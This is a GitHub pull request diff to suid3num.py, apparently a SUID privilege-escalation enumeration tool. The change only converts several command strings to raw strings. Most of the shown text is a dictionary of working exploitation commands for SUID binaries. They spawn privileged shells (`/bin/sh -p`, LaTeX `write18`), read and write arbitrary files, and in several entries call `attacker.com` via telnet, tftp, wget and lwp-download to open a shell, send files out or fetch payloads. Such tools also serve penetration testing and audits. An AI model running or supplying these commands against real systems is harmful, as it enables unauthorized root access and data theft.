Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 10 additions & 10 deletions suid3num.py
Original file line number Diff line number Diff line change
Expand Up @@ -58,8 +58,8 @@
'dig': 'LFILE=file_to_read\n./dig -f $LFILE',
'distcc': './distcc /bin/sh -p',
'dmsetup': "./dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\n./dmsetup ls --exec '/bin/sh -p -s'", 'file': 'LFILE=file_to_read\n./file -m $LFILE',
'dosbox': """LFILE='\path\to\file_to_write'\n./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit""",
'dvips': """tex '\special{psfile="`/bin/sh 1>&0"}\end'""",
'dosbox': r"""LFILE='\path\to\file_to_write'\n./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit""",
'dvips': r"""tex '\special{psfile="`/bin/sh 1>&0"}\end'""",
'ed': './ed\n!/bin/sh',
'efax': 'LFILE=file_to_read\n./efax -d "$LFILE"',
'elvish': './elvish',
Expand Down Expand Up @@ -90,12 +90,12 @@
'jq': 'LFILE=file_to_read\n./jq -Rr . "$LFILE"',
'ksshell': 'LFILE=file_to_read\n./ksshell -i $LFILE',
'kubectl': 'LFILE=dir_to_serve\n./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/',
'latex': """./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'latex': r"""./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'ldconfig': 'TF=$(mktemp -d)\necho "$TF" > "$TF/conf"\n# move malicious libraries in $TF\n./ldconfig -f "$TF/conf"',
'lftp': """./lftp -c '!/bin/sh'""",
'links': 'LFILE=file_to_read\n./links "$LFILE"',
'look': 'LFILE=file_to_read\n./look \'\' "$LFILE"',
'lualatex': """./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'""",
'lualatex': r"""./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'""",
'lwp-download': 'URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./lwp-download $URL $LFILE',
'lwp-request': 'LFILE=file_to_read\n./lwp-request "file://$LFILE"',
'minicom': './minicom -D /dev/null',
Expand Down Expand Up @@ -124,8 +124,8 @@
'openvpn': """./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'""",
'pandoc': 'LFILE=file_to_write\necho DATA | ./pandoc -t plain -o "$LFILE"',
'paste': 'LFILE=file_to_read\npaste $LFILE',
'pdflatex': """./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'pdftex': """./pdftex --shell-escape '\write18{/bin/sh}\end'""",
'pdflatex': r"""./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'pdftex': r"""./pdftex --shell-escape '\write18{/bin/sh}\end'""",
'perf': './perf stat /bin/sh -p',
'pexec': './pexec /bin/sh -p',
'pic': './pic -U\n.PS\nsh X sh X',
Expand Down Expand Up @@ -174,7 +174,7 @@
'tee': 'LFILE=file_to_write\necho DATA | ./tee -a "$LFILE"',
'telnet': 'RHOST=attacker.com\nRPORT=12345\n./telnet $RHOST $RPORT\n^]\n!/bin/sh',
'terraform': './terraform console\nfile("file_to_read")',
'tex': """./tex --shell-escape '\write18{/bin/sh}\end'""",
'tex': r"""./tex --shell-escape '\write18{/bin/sh}\end'""",
'tic': 'LFILE=file_to_read\n./tic -C "$LFILE"',
'tmate': './tmate -c /bin/sh',
'tftp': 'RHOST=attacker.com\n./tftp $RHOST\nput file_to_send',
Expand All @@ -195,8 +195,8 @@
'xdotool': './xdotool exec --sync /bin/sh -p',
'xmodmap': 'LFILE=file_to_read\n./xmodmap -v $LFILE',
'xmore': 'LFILE=file_to_read\n./xmore $LFILE',
'xelatex': """./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'xetex': """./xetex --shell-escape '\write18{/bin/sh}\end'""",
'xelatex': r"""./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'""",
'xetex': r"""./xetex --shell-escape '\write18{/bin/sh}\end'""",
'xz': 'LFILE=file_to_read\n./xz -c "$LFILE" | xz -d',
'yash': './yash',
'wget': 'export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\n./wget $URL -O $LFILE',
Expand Down Expand Up @@ -789,4 +789,4 @@ def main():


if __name__ == '__main__':
main()
main()
Loading